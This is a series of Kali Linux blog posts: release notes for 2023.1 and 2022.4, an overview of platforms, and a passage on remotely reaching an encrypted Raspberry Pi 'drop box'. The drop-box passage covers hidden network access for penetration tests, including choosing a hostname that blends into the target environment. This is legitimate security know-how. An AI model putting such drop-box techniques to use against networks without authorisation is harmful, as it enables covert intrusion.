┌──(kali㉿kali)-[~]
└─$ sudo apt install python3-venv
┌──(kali㉿kali)-[~]
└─$ mkdir -pv ~/.venvs/
┌──(kali㉿kali)-[~]
└─$ python3 -m venv ~/.venvs/myfirstvenv

Now, you can interact with the new virtual environment one of two ways. You can do either the “one off action” one-liner:

┌──(kali㉿kali)-[~]
└─$ ~/.venvs/myfirstvenv/bin/python -m pip install thisisapythonmodule
┌──(kali㉿kali)-[~]
└─$ ~/.venvs/myfirstvenv/bin/python -m pip list
[...]

Otherwise, you can load into the virtual environment which is a little bit more persistent:

┌──(kali㉿kali)-[~]
└─$ source ~/.venvs/myfirstvenv/bin/activate
┌──(myfirstvenv)(kali㉿kali)-[~]
└─# pip list
[...]
┌──(myfirstvenv)(kali㉿kali)-[~]
└─# deactivate
┌──(kali㉿kali)-[~]
└─$

Do either method, whichever is best for your needs, requirements, and setup!

break-system-packages

Okay, enough telling off. If you want to ignore everything, and do not care for the repercussions, add --break-system-packages to the end of the command. The name of the option speaks for itself, do not tell us we did not warn you! And please, do not open bug reports when Python’s things stop working. Just please read this, pep-0668. Example:

┌──(kali㉿kali)-[~]
└─$ sudo apt install python3-pip
┌──(kali㉿kali)-[~]
└─$ sudo pip install python-nmap
error: externally-managed-environment
× This environment is externally managed
╰─> To install Python packages system-wide, try apt install
python3-xyz, where xyz is the package you are trying to
install.
If you wish to install a non-Debian-packaged Python package,
create a virtual environment using python3 -m venv path/to/venv.
Then use path/to/venv/bin/python and path/to/venv/bin/pip. Make
sure you have python3-full installed.
If you wish to install a non-Debian packaged Python application,
it may be easiest to use pipx install xyz, which will manage a
virtual environment for you. Make sure you have pipx installed.
See /usr/share/doc/python3.11/README.venv for more information.
note: If you believe this is a mistake, please contact your Python installation
or OS distribution provider. You can override this, at the risk of breaking
your Python installation or OS, by passing --break-system-packages.
hint: See PEP 668 for the detailed specification.
┌──(kali㉿kali)-[~]
└─$ sudo pip install --break-system-packages python-nmap
[...]

2023 Theme Refresh

Since Kali 2021.2, all our first year releases (20xx.1) introduce a visual theme refresh. Using a yearly life cycle, it makes it easier to recognize the different versions of Kali Linux over time. This update includes new wallpapers for desktop, login, and boot displays, in addition to new variants of all the themes but now in Kali Purple flavor. Kali Purple will use the white mode them by default, but if you feel so you can perfectly change it to Dark Purple theme. Now you can enjoy any of our main desktops (KDE Plasma, GNOME Shell and Xfce) with new Purple themes and icons.

This time, given its our 10 year anniversary, the theme is a nod to where we have came from, and the backgrounds we have designed are a direct reference to previous iconic Kali releases:

Boot - Kali 1.0
Login/Lock - Kali 2.0
Wallpaper - Kali 1.1

Next you can see the screenshot of how the latest Kali looks, accompanied with the screenshots or images that they are reference of:

Boot menu:

Login/Lock:

Desktop:

All new wallpapers

Special thanks to /u/Albert-III- who originally created the background used in the Kali Sticker wallpaper, and to TJ_Null for creating the cool red stickers that inspirited the final version of the same image.

Some extra variants of this image have been uploaded to kali-wallpapers-legacy package, and can also be found here. These can be installed by running the following command in your Kali terminal:

┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y install kali-wallpapers-legacy

Desktop Updates

We have also make sure to update our three main desktop environments, Xfce, KDE and GNOME to be the latest versions. We then make sure Kali looks stunning using them, as long as putting in various tweaks.

Xfce 4.18

Nearly two years of development has gone into shaping Xfce 4.18, which was formally released on December 15, 2022. It is the stable series follow-up to the Xfce 4.16 release that made its debut during Christmas of 2020.

Main changes for Kali are found in:

Improved support for UI scaling - fixing many blurry icons while using HiDPI settings
Thunar - Xfce’s file-manager, received most of the attention:
- File color highlight
- Recursive search - integrated in the same window
- Split view

On our side, we have also updated kali-undercover mode to support the latest desktop changes, bringing some light improvements, and solving some minor bugs.

Panel profiles

Another great addition for Xfce is the support for panel profiles with import/export functionality. Now you can modify the desktop panels to your liking and save it somewhere safe (or even share them!). Apart from all the pre-built layouts that the app includes, we have added profiles for default Kali settings and a new Kali compact one, which better fits smaller displays.

Your browser does not support the video tag.

KDE Plasma 5.27

Kali now includes the new version 5.27 of KDE Plasma, which brings exciting new improvements to your desktop. You can learn more about the latest changes in the Plasma 5.27 release announcement publication.

Some of the new features include a window tiling system, a more stylish app theme, cleaner and more usable tools, and widgets that give you more control over your machine. Additionally, Plasma 5.27 is a Long Term Support version with tons of stability work and bug fixes.

New tiling system

You can tile a window dragging it while holding down the Shift key. To create custom tile layouts, hold down the Meta ("Windows") key, and then press T.

Your browser does not support the video tag.

GNOME

GNOME’s next big update is being released soon, but for now, we still have to wait until Kali’s next release. However, that has not stopped us from introducing some improvements to one of the most popular Linux desktops.

We observed that in Xfce and KDE desktops, one can quickly open a terminal in the file-manager’s current folder by just pressing the F4 key. To make all 3 main Kali desktops behave in a similar manner, we have configured the same functionality for Nautilus, GNOME’s file-manager.

Default Kernel Settings

We updated some of our kernel default values. These are rather minor changes, mainly for usability, based on user feedback. If needed, those settings can be modified easily with kali-tweaks.

Those settings are:

No more privileged ports: no need to be root to run a program that binds to a port below 1024 (ported from Kali 2021.2)
dmesg is now unrestricted by defaults: no need to be root to run dmesg.

If you are curious to know what make the Kali kernel different from the usual, we added a documentation page Kernel Configuration.

Known Issues

For Nvidia users, this release might not be the best ever. The 525 series of Nvidia drivers is known to break with some GPU models. We do not know which one exactly, but there are various reports from basically all the Linux distributions that started to distribute those drivers, including Debian, Ubuntu and Arch Linux. We are all impacted, and Kali Linux is no exception.

Symptoms include a system that is slow, unresponsive, or completely frozen. If you are one of those unlucky users, your best bet is to uninstall the Nvidia drivers, then reboot:

┌──(kali㉿kali)-[~]
└─$ sudo apt purge "*nvidia*"
[...]
┌──(kali㉿kali)-[~]
└─$ sudo reboot -f

You might need to boot in Recovery Mode so that you can get your hand on a working console and run the command above.

If you want more details about this issue, check the reports on the Nvidia forums:

Miscellaneous

Below are a few other things which have been updated in Kali, which we are calling out for not having as much detail.

In Debian 12, they have included a non-free-firmware component. We have followed suit and added this to our build-scripts for Kali 2023.1. Therefore all fresh installs of Kali 2023.1, will have seamless upgrades going forwards. Upgrading from previous versions will require an additional step of adding it to your sources.
kali.org will now respect the desktop setting for “dark mode” and automatically toggle between them depending on the OS preferences. Colors of the dark mode have also been improved for better readability and contrast.
The broken speech synthesizer and Metasploit-framework and libssl1.1/OpenSSL v3 issues stated from our last release have been fixed.
We have been also working on paying back some internal technical debt to our infrastructure.
We have been working with numerous mirror administrators doing various maintenance checks, who are very kindly running our community mirrors!
We have made public our WSL application repository. Previously it was just the rootfs part. This is now the application side, which is the launcher for the rootfs.

New Tools in Kali

It would not be a Kali release if there were not any new tools added! A quick run down of what has been added (to the network repositories):

Arkime - large-scale, open-source, indexed packet capture and search tool
CyberChef - Cyber Swiss Army Knife
Dscan - Distributed Nmap, wrapper around Nmap to allow distributed network enumeration
Kubernetes-Helm - managing Charts
PACK2 - replacement for iphelix’s PACK
Redeye - help you manage your data during a pentest operation in the most efficient and organized way.
Unicrypto - Unified interface for some crypto algos

There have also been numerous packages updates and new libraries as well. We also bump the Kali kernel to 6.1!

Kali NetHunter Updates

There has been some new activity with Kali NetHunter recently.

Following on from Kali 2022.4, we have added Internal bluetooth support for our current smart watch device, TicWatch Pro.

There has been also new kernel support added for the following devices & ROMs:

Motorola X4 on LineageOS 20
Samsung Galaxy S20 FE 5G using OneUI 5.0 (Android 13)

We have also now got full support for LG V20 running LineageOS 18.1.

And finally, there has been some additional kernel patches added to our kernel-builder.

Kali ARM Updates

Radxa Zero is the star of the show for this quarter getting the most of the attention for kali-arm SBC this release:

Radxa Zero gets larger partition for eMMC booting (16MB -> 32MB)
Radxa Zero gets audio support!
Improve building when using ARM64
Where possible, switch from debootstrap to mmdebstrap to generate chroot

Kali Documentation Updates

Our Kali documentation has had various updates to existing pages as well as the following new pages:

Kali Blog Recap

Since our last release, we did the following blog posts:

Kali Linux (is) Everywhere!

Community Shout-Outs

These are people from the public who have helped Kali and the team for the last release. And we want to praise them for their work (we like to give credit where due!):

Arszilla for maintaining the kali-desktop-i3 metapackage.
Daniele Faugiana for helping with packaging Rizin’s Ghidra plugin.
snowcrash#0001 on the Kali discord, being super helpful with sharing his personal notes when helping others.
The entire Kali Linux & Friends moderation team!

The following people have helped with our documentation:

Anyone can help out, anyone can get involved!

Kali Team Discord Chat & Reddit AMA

The next Kali Discord session will happen tomorrow, Tuesday, 14th March 2023 16:00 -> 17:00 UTC/+0 GMT.

Please note, we will not be recording these sessions. These are live sessions only.

If voice chat is not your thing, or its to short notice, we also have a special one-off “Ask Me Anything” (AMA) happening on reddit.com/r/offensive_security, Thursday, 16th March 2023 16:00 -> 18:00 UTC/+0 GMT.

Get Kali Linux 2023.1

Fresh Images: So what are you waiting for? Go get Kali already!

Existing Installs: If you already have an existing Kali Linux installation, remember you can always do a quick update:

┌──(kali㉿kali)-[~]
└─$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware" | sudo tee /etc/apt/sources.list
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f

You should now be on Kali Linux 2023.1 We can do a quick check by doing:

┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION="2023.1"
VERSION_ID="2023.1"
VERSION_CODENAME="kali-rolling"
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Debian 6.1.12-1kali2 (2023-02-23)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.1.0-kali5-amd64

NOTE: The output of uname -r may be different depending on the system architecture.

As always, should you come across any bugs in Kali, please submit a report on our bug tracker. We will never be able to fix what we do not know is broken! And Twitter is not a Bug Tracker!

Want to keep up-to-date more easily? We have a RSS feeds and newsletter of our blog!

Kali Linux (is) Everywhere!

Wed, 11 Jan 2023 00:00:00 +0000

One of the primary goals of Kali Linux is to put the tools you need as close to you as possible. Over the years this has resulted in a number of different ways to get Kali, but not everyone knows about all the options! In this post we are going to do an overview of different options you have for running Kali, and where you can go for more information for each option.

You should keep in mind as we review options what will be best for you, in your specific use case. What do you intend to use Kali for? Where will you be when you need access to Kali? One of the items that is unique to Kali is most instances are actually pretty short lived, and replaced often. For instance, in the penetration testing space it is considered best practice by many to wipe your install and start over with each new customer or assessment. On the other hand, there are instances of Kali that are around for a very long time; for instance, running scanning engines for enterprises.

You won’t find a singular “right” way to interact with Kali, you have to determine what works best for you. Which is why we provide so many options. Let’s look at an overview of all of the various ways to get Kali. Should anything seem interesting, the table contains hyperlinks directly to our documentation on a platform where available.

Platform Overview

Please note that this is the state of Kali Linux at the time of publishing. For a consistently updated table, please check here.

Installations	Virtual Machines	Cloud	Containers	USB	ARM (Single Board Computer)	Mobile
Standard Single-boot	VirtualBox	Amazon AWS	Docker	Live boot - Linux / macOS / Windows	Gateworks Newport / Gateworks Ventana	Generic NetHunter
macOS Single-Boot / Dual-boot	Import VirtualBox	Microsoft Azure	LXC/LXD	Persistence	Pinebook / Pinebook Pro	Generic NetHunter Lite
Dual-booting Linux	VMware	Digital Ocean	Podman	Encrypted Persistence	Raspberry Pi 1 (Original) / 2 (1.1) / 3 / 4 / 400	Generic NetHunter Rootless
Dual-booting Windows	Import VMware	Linode	Proxmox		Raspberry Pi Zero / Zero W / Zero 2 W
Installing directly to USB	Hyper-V		WSL		USB Armory MKII	NetHunter Pro
Adding BTRFS snapshots	Parallels
Over a network (PXE)	Proxmox				For more devices, see here	For more devices, see here
	QEMU/Libvirt
	UTM
	Vagrant

As we can see, there are a lot of options. This can be quite difficult to look at initially. However, if we keep in mind our needs we can easily figure out what image we want to download or even learn about a new image:

Are we going to be doing an on-site pentest and need to use a dedicated Kali instance?
Are we going to want a leave behind system to connect to later?
How long is the instance going to stay around?
Are we using it for personal use?

These are all questions that can help to pinpoint what type of Kali instance we will need to create. Though keep in mind these are just example questions and there may be more, or less, that need to be answered.

What should I use?

So we asked and answered what type of situation we will be using Kali under. Now what? Well, now it is time to take a look at what options are normally used for what purposes:

Installations: A very traditional way of using Kali, and very familiar as well. During installation there is quite a bit of customization that can occur, and post-installation even more so. This is useful for a wide number of circumstances, ranging from a daily use Linux system to a dedicated pentest machine. If you are looking for a personal computer, this would be the image to use.
Virtual Machines: Another familiar way to use Kali. Virtual machines provide a very similar experience to a bare-metal installation. Useful for short or long lived instances, virtual machines can utilize snapshots to revert back to an earlier point in time to have a system ready made for a pentest whenever. If you are looking for something to use for work occasionally, use a virtual machine. When in doubt, virtual machines are always the way to go.
Cloud: A fairly popular way of using Kali. The images are kept bare-bones so it is easy to only use what is needed. Useful for short or long lived instances, and especially useful for remote pentests. If you need to work remote, try out a cloud system.
Containers: There is a growing popularity for containers. Containers are not a complete replacement for virtual machines, however the ability to run a full traditional Kali desktop environment out of them is not something to discount. Especially useful for Apple Silicon users as virtual machines are still not quite as easy to use as on traditional architectures. If you need to quickly get a port scan setup and ran, go with a container.
WSL: A very useful feature of modern Windows systems. While there is not enough ways to acquire WSL to warrant a column on the table, do check it out under the virtual machines category. WSL in its current form operates on the back end as an integrated virtual machine but presents itself as a highly integrated solution allowing you to run Kali apps alongside your traditional Windows apps. We have a number of deep customization options such as Win-KeX to make this as easy as possible. WSL is useful for daily Windows users. If you are thinking of using a container or a virtual machine, but are on Windows, try WSL instead.
USB: Live boot is a more dated method of using Kali that is becoming less popular over time. You can choose between standard live boot, where all data is stored in ram and wiped when the machine is powered off, or a persistence mode, where data will be written to the USB drive. This is especially useful for repairing machines, investigating potential harmful programs installed to a machine, or keeping a personalized Kali instance around to be used on different computers. If you aren’t quite sure if you want to use Kali yet, a USB may be the way to go.
ARM (Single Board Computer): An important platform to Kali from the start, ARM Single Board Computer devices serve quite a lot of purposes. Able to be used as daily computers or a remote access system, ARM devices are quite versatile. Especially useful for “leave behind” systems. Go with an ARM device if you want something inexpensive but reliable.
Mobile (NetHunter): This is a super fun solution that allows you to run Kali from your Android mobile device. A modern phone is a great platform for executing any number of traditional attacks or unique items that only make sense from a mobile device such as pretending to be a keyboard or network device when plugged into a computer. Especially useful for a more low profile setting. If you aren’t able to carry around a laptop or don’t want to drop an ARM device, NetHunter will be there.

Pros and Cons

Each way to interact with Kali will have its own pros and cons. Going over all of them would be impossible, but we can lay out some of the most obvious.

Installations:

Pros: Familiar, very customizable, able to be dual-booted
Cons: Takes up a large amount of hard drive space

Virtual Machines:

Pros: Familiar, quick and easy to create, can utilize snapshots, variable hard drive size
Cons: Slower than a bare-metal install, difficult to get direct access to hardware

Cloud:

Pros: Easy to create and delete, able to use anywhere, collaboration is easy
Cons: Reliance on an external resources, potentially slower due to connection speeds, potential additional running costs

Containers:

Pros: Lightweight, very customizable, easy to create and delete, can run in the background
Cons: Restrictions involving software and hardware, can be unstable the larger the container gets

USB:

Pros: Easy to carry around, utilizes all system resources, fully customizable, small form factor, can be used to recover a system
Cons: Slower than a bare-metal install

ARM (Single Board Computer):

Pros: Lightweight, small form factor, low power consumption, easy to carry around, cheap
Cons: Generally less system resources, not all software is available for ARM

Mobile (NetHunter):

Pros: Is a phone, able to access a desktop environment, low profile, easy to carry around, useful preloaded attacks
Cons: Small display, for a full experience it requires a rooted Android device, may require external hardware such as keyboards or Wi-Fi cards

Closing thoughts

Before completely wrapping up it may be helpful to point out a few of the most popular ways of using Kali and the image that would work best, for those who may want advice or examples.

Daily driver - Use the installer image and single boot Kali. With the docs and our forums you will be able to use Kali daily just fine with no worries. Be sure to follow the barebones install method!

Professional pentester - Most likely you will be wanting to use the cloud images or a virtual machine. While installing bare-metal is a possibility, the frequency of having to wipe the system or re-install to protect client data may prove tiresome.

Hobbyist or student - A virtual machine is almost always going to be the way to go for these situations. ARM and Nethunter will also be fun to explore. Bare-metal installs are recommended against due to the potential of “bricking” installs from inexperience.

To restate it, you won’t find a singular “right” way to interact with Kali, you have to determine what works best for you. We hope to have provided enough information for you to determine what will work best for you and understand what drawbacks may come with that solution. If not, then you can always come ask in our Discord server!

Kali Linux 2022.4 Release (Azure, Social & Kali NetHunter Pro)

Tue, 06 Dec 2022 00:00:00 +0000

Before the year is over, we thought it was best to get the final 2022 release out. Today we are publishing Kali Linux 2022.4. This is ready for immediate download or updating existing installations.

A summary of the changelog since August’s 2022.3 release:

Microsoft Azure - We are back on the Microsoft Azure store
More Platforms - Generic Cloud, QEMU VM image & Vagrant libvirt
Social Networks - New homes, keeping in touch & press packs
Kali NetHunter Pro - Announcing the first release of a “true” Kali Linux on the mobile phone (PinePhone / Pro)
Kali NetHunter - Internal Bluetooth support, kernel porting video, firmware updates & other improvements
Desktop Updates - GNOME 43 & KDE 5.26
New Tools - As always, various new packages added

Microsoft Azure

Its been a long time coming, but we are very happy to announce that Kali has been added to Microsoft Azure (again - and this time to stay)! Following in the foot steps of our Amazon AWS image, we are using the same kali-cloud build-scripts now to automate publishing to Microsoft Azure store.

Out of the box, currently, there is no graphical user interface, or any tools pre-installed. Should you want the default toolset (kali-linux-default) or any other combination of metapackages, it should be like any other Kali platform. For installing a desktop environment, we have the following kali-docs page: Setting up RDP with Xfce

We hope in 2023 we can revisit this again and are looking at doing ARM64 architecture, as well as different variations of images, allowing you to choose from a mixture of headless bare-bones install, the traditional environment, and a mixture of everything in-between.

More Platforms

We are now including a QEMU image with our pre-generated images. We hope this makes it easier for the people who use self-hosted Proxmox Virtual Environments (VE), virt-manager, or libvirt!

On that subject, elrey (alex) from the community has added libvirt support to our kali-vagrant build-script.

In Kali 2022.3, we have produced a Generic Cloud image. The idea of this image is that it should work in “most” cloud providers This is coming from our kali-cloud build-scripts. So if you are self-hosting OpenStack, this is a great way of getting Kali loaded up!

We have expanded the social networks which we post on, as well as refreshing the current ones. As a recap:

Facebook: facebook.com/KaliLinux
NEW Instagram: instagram.com/KaliLinux
NEW Mastodon: @kalilinux@infosec.exchange
Twitter: twitter.com/KaliLinux

As a reminder, we don’t use social networks for technical support - you can receive community support via discord or our forums and bug reports should go to the bug tracker! Instead, we automatically post blog posts thus these accounts are mostly unmonitored!

If social networks are not your thing, you can also keep in touch via:

Email: Newsletter
RSS: kali.org/rss.xml

Press Pack

We have also taken the time to create a Press Pack (aka Press kit) for Kali. Here you can find all our product media resources to use, including:

Logomark (our dragon logos)
Logomark and Wordmark (our iconic avatars - dragon logo with text)
Wordmark (text as an image)
Various different image formats (png, svg, jpg)
Official colours

Please bear in mind that they are under copyright & trademark when using them!

You can download them all, or you can view them online.

Media Enquiries

And on the subject, we do have a page for Press and Media enquiries.

Kali NetHunter Pro Release

We are very excited to announce the official support of the Pine64 PinePhone and PinePhone Pro thanks to the amazing work of Shubham Vishwakarma and the vibrant community.

The launch of Kali NetHunter Pro is the beginning of a new chapter for Kali Linux and NetHunter, a bare metal installation of Kali Linux with Phosh desktop environment, optimized for mobile devices.

First of all we make available SD card images for the PinePhone and the PinePhone Pro to dual boot alongside the main OS. Soon we will release alternative versions with Plasma Mobile as well as installers so you can install Kali NetHunter Pro onto the internal flash memory.

For all those that have a PinePhone or a PinePhone Pro, hop over to our download page and join the brave new world of mobile hacking. For those that don’t have a PinePhone yet: What are you waiting for? Get one :-)

Please help us with the development by testing the images, submitting bugs and improvements in our GitLab repository, and become a part of the vibrant Kali NetHunter community.

Kali NetHunter Update

Internal Bluetooth support has finally arrived, thanks to @yesimxev and the awesome community! We have added support to some devices already, however as each kernel needs new Bluetooth drivers enabled, it takes time to rebuild each of them. You are more than welcome to contribute if your device is Kali NetHunter supported already without the new drivers.

@yesimxev has released the ultimate Kali NetHunter Complete Kernel Porting Guide. Have you ever dreamt of porting Kali NetHunter to your device but didn’t know where to start? This video has it all so get cracking.

Wardriving has been updated with bugfixes, Bluetooth, RTL-SDR, and MouseJack support. That’s good news for QCACLD-3.0 users (most devices out there) as you will be able to use wardriving with internal wireless and Bluetooth chipsets, if OTG adapters are not an option.

KeX also received the status fix along with audio support. Now you can play any audio in KeX session.

Wireless firmware has been updated, and Magisk firmware flashing is now patched.

Android 11/12 crashing when starting the Kali NetHunter app has also been fixed with this release.

Last but not least, let’s welcome the OnePlus 6t, Pixel 4a 5g and Realme 5 Pro devices to the list of the Android 12 supported devices.

Desktop Updates

Both the GNOME and KDE Plasma desktops have received a major version bump.

GNOME

For people who opt to use GNOME as their desktop environment, GNOME 43 is now in Kali! If you do not read their changelog, below is a quick summary mixed with some of our tweaks:

Shell updates, including a new quick settings panel and an improved theme. Unfortunately, we had to say goodbye to the extension proxyswitcher, as it was no longer compatible with this new release
Continues the migration of multiple programs to GTK4 with the libadwaita library. The previous text editor (gedit) has been replaced with the brand new gnome-text-editor, which includes an updated Kali color-scheme theme.
New GTK3 theme based on the adw-gtk3 project with Kali’s tweaks, which brings a fresh look, and makes the interface coherent between the different GUI libraries. With it, GTK3-based programs don’t seem out of place with the recently introduced libadwaita-based ones.

KDE Plasma

Kali now includes the new version 5.26 of KDE, which improves the overall desktop experience, and brings tweaks for multiple widgets. You can learn more about the latest changes in the Plasma 5.26 release announcement publication.

Miscellaneous

Below is a quick list of minor updates:

The Kali dragon logo is now in nerd-fonts (f327 aka nf-linux-kali_linux).
We are aware of a bug with the installation using speech synthesiser.
- As a work around, you can use Kali 2022.2, and upgrade.
- We will put out a message on social networks when to grab the weekly images with the fix.
We are aware of a bug with Metasploit-framework and libssl1.1/OpenSSL v3. As a result, there are issues with payloads using */*/reverse_https.
- We will address this as quickly as we can.
- We will put out a message on social networks when to grab the weekly images with the fix.
RSS feed for torrents! kali.org/torrents.xml.
- If your client supports it, you can use regex then to filter out which image you prefer:

New Tools in Kali

It would not be a Kali release if there were not any new tools added! A quick run down of what has been added (to the network repositories):

bloodhound.py - A Python based ingestor for BloodHound
certipy - Tool for Active Directory Certificate Services enumeration and abuse
hak5-wifi-coconut - A user-space driver for USB Wi-Fi NICs and the Hak5 Wi-Fi Coconut
ldapdomaindump - Active Directory information dumper via LDAP
peass-ng - Privilege escalation tools for Windows and Linux/Unix* and MacOS.
rizin-cutter - reverse engineering platform powered by rizin

This is new tools, there are numerous updates to existing tools.

Kali ARM Updates

We are happy to say that Kali has been added to Raspberry Pi Imager (rpi-imager), making it even easier to flash Kali to your SDs (as long as you can buy an RPi!). We have also written up a quick guide on it.

The Kali user’s sudoers edit is now its own file in /etc/sudoers.d and users should no longer be prompted on what to do when an update for sudo comes in. This change does not occur on an upgrade, only fresh installs.

The USBArmory MKII has had the u-boot bootloader bumped to 2022.10.

The build-script for the ODROID-C2 has been fixed and should now properly create images again. Thanks to M Beekhuizen for reporting the issue.

Radxa Zero images created from the build-scripts should now have firmware to support the wireless card on newer models (1.51+). Thanks to Stefan Lehner (from Discord) for reporting the issue.

Pinebook Pro images have firmware to support the new wireless card on more recent models. Thanks to Jonathan Cox for reporting the issue.

The kali-arm build-scripts got a big makeover, thanks to Arszilla for putting in the work to do this.

Kali Documentation Updates

Our kali-docs has had various updates to existing pages as well as the following new pages:

Thank you for their work!

Recent Kali Blog Posts

Recapping our blog posts since the last release:

Community Shout-Outs

There have been various contributions since our release. Thank you guys! Out of these, a few people’s actions have helped make a significant improvement to Kali, so giving them credit:

Alex Henrie - Fixed a long-standing issue with the prompt in the Docker images, thanks so much!
Arszilla - Kali ARM and i3-gap work
“Fred Sheehan” on the Kali-forums - Super helpful, great poster!
Shubham Vishwakarma - Bringing Kali to the PinePhone!

Anyone can help out, anyone can get involved!

Discord Chat

The next Kali Discord session will happen a week after the release, Tuesday, 13th December 2022 16:00 -> 17:00 UTC/+0 GMT.

Please note, we will not be recording these sessions. These are live sessions only.

Get Kali Linux 2022.4

Fresh Images: So what are you waiting for? Go get Kali already!

Existing Installs: If you already have an existing Kali Linux installation, remember you can always do a quick update:

┌──(kali㉿kali)-[~]
└─$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" | sudo tee /etc/apt/sources.list
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~
[...]
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f

You should now be on Kali Linux 2022.4 We can do a quick check by doing:

┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION="2022.4"
VERSION_ID="2022.4"
VERSION_CODENAME="kali-rolling"
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Debian 6.0.7-1kali1 (2022-11-07)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.0.0-kali3-amd64

NOTE: The output of uname -r may be different depending on the system architecture.

As always, should you come across any bugs in Kali, please submit a report on our bug tracker. We will never be able to fix what we do not know is broken!

Remotely Accessing Secure Kali Pi

Mon, 28 Nov 2022 00:00:00 +0000

In Secure Kali Pi (2022), the first blog post in the Raspberry Pi series, we set up a Raspberry Pi 4 with full disk encryption. We mentioned that we can leave it somewhere as a drop box. This brought up the question, “If it is not on my local network how do I connect to it to unlock it?” So we will now answer this by showing a few different ways to connect to our secure Kali Pi drop box. This includes:

Wireless 802.11:
- As a client on an existing network(s) (only if we know any details ahead of time to pre-configure)
- Create an access point, to become a new network (that we can access if we are in physical distance to the device)
Wired ethernet:
- Using static network settings (if we know the details ahead of time to pre-configure it)
- DHCP to automatically discover network values (which creates noise)

After getting internet access, we will use a Virtual Private Network to remotely connect back to a server of our choosing, which we can also join from anywhere online, thus getting around the requirements of having to port forward on any firewalls.

Ingredients

Drop box - Raspberry Pi 4
- Pre-configured as of our Secure Kali Pi blog post
Wi-Fi - We will be using the on-board wireless adapter (to make the device as compact as possible for our drop box)
- However if the performance is not sufficient for your needs, an external compatible wireless adapter may give greater range
External server - A pre-created & harden OpenVPN service
- Creating this is out-of-scope for this blog post

Pre-Config Wireless 802.11

Overview

While wired networking in the initramfs does not require a lot of extras, wireless has a few more moving parts. To enable wireless support, we need to find:

The kernel Wi-Fi modules that need to be in the initramfs (Depends on hardware)
The Wi-Fi firmware files that need to be in the initramfs (Depends on hardware)
The Wireless interface name (Kali defaults to: wlan0)
Additional packages to increase functionally. Either:
- wpa_supplicant to connect as a client to a wireless network
- hostapd to create an access point for a new wireless network

Additionally, knowing the hostname of your Raspberry Pi can help find it, as well as blend in, in your target environment.

Interface Name

First, we need to know what our wireless interface is called.

In Kali we disable predictable interface names by default, so the first wireless device will be wlan0.

As long as there is no other hardware plugged into the Raspberry Pi at this stage, it should stand out:

kali@kalipi:~$ ip a
: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether dc:a6:32:b0:07:ca brd ff:ff:ff:ff:ff:ff
inet 192.168.42.19/24 brd 192.168.42.255 scope global dynamic eth0
valid_lft 63997sec preferred_lft 63997sec
inet6 fe80::dea6:32ff:feb0:7ca/64 scope link
valid_lft forever preferred_lft forever
3: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state DOWN group default qlen 1000
link/ether 2a:54:d3:ee:62:95 brd ff:ff:ff:ff:ff:ff permaddr dc:a6:32:b0:07:cb

Wi-Fi Modules

We are now going to discover what modules are needed in order for our wireless device to come up.

On most ARM systems, the wireless device is typically connected via SDIO, and unfortunately we do not have a command like lspci to list any devices on the SDIO bus, but we can use dmesg and grep to look:

kali@kalipi:~$ dmesg | grep wlan
kali@kalipi:~$

Since we were returned directly to the prompt, this means that “wlan” is not found in the dmesg output. As we mention in the Kali Raspberry Pi 4 documentation we use the nexmon firmware for the Raspberry Pi devices, so lets try searching for that instead:

kali@kalipi:~$ dmesg | grep nexmon
[ 5.070542] brcmfmac: brcmf_c_preinit_dcmds: Firmware: BCM4345/6 wl0: Oct 3 2021 18:14:30 version 7.45.206 (nexmon.org: 2.2.2-343-ge3c8-dirty-5) FWID 01-88ee44ea

As we can see in the output above, brcmfmac is the driver that is giving us the message. There is a handy command that comes from the kmod package, called modinfo which will give us information about any module that the kernel has.

Now we know that the wireless card on the Raspberry Pi uses the brcmfmac driver. So lets run modinfo brcmfmac and see what information it gives us:

kali@kalipi:~$ modinfo brcmfmac
filename: /lib/modules/5.15.44-Re4son-v8l+/kernel/drivers/net/wireless/broadcom/brcm80211/brcmfmac/brcmfmac.ko
license: Dual BSD/GPL
description: Broadcom 802.11 wireless LAN fullmac driver.
author: Broadcom Corporation
firmware: brcm/brcmfmac*-sdio.*.bin
firmware: brcm/brcmfmac*-sdio.*.txt
[...]
srcversion: 913634DB95F858E921F71C1
[...]
alias: sdio:c*v02D0dA887*
depends: brcmutil,cfg80211
intree: Y
name: brcmfmac
vermagic: 5.15.44-Re4son-v8l+ SMP preempt mod_unload modversions aarch64
parm: txglomsz:Maximum tx packet chain size [SDIO] (int)
parm: debug:Level of debug output (int)
parm: p2pon:Enable legacy p2p management functionality (int)
parm: feature_disable:Disable features (int)
parm: alternative_fw_path:Alternative firmware path (string)
parm: fcmode:Mode of firmware signalled flow control (int)
parm: roamoff:Do not use internal roaming engine (int)
parm: iapp:Enable partial support for the obsoleted Inter-Access Point Protocol (int)
parm: ignore_probe_fail:always succeed probe for debugging (int)

As you can see, there is quite a lot of information given there. A quick overview of it:

Where the module file is (filename)
The license
The description
The author
The firmware files it can use
Aliases used to figure out if this is the module to use when a device is found
Any module dependencies (depends)
Whether the module comes from in the kernel tree
The name of the module
The version magic
Any parameters (params)

For what we need, the dependencies section is the key.

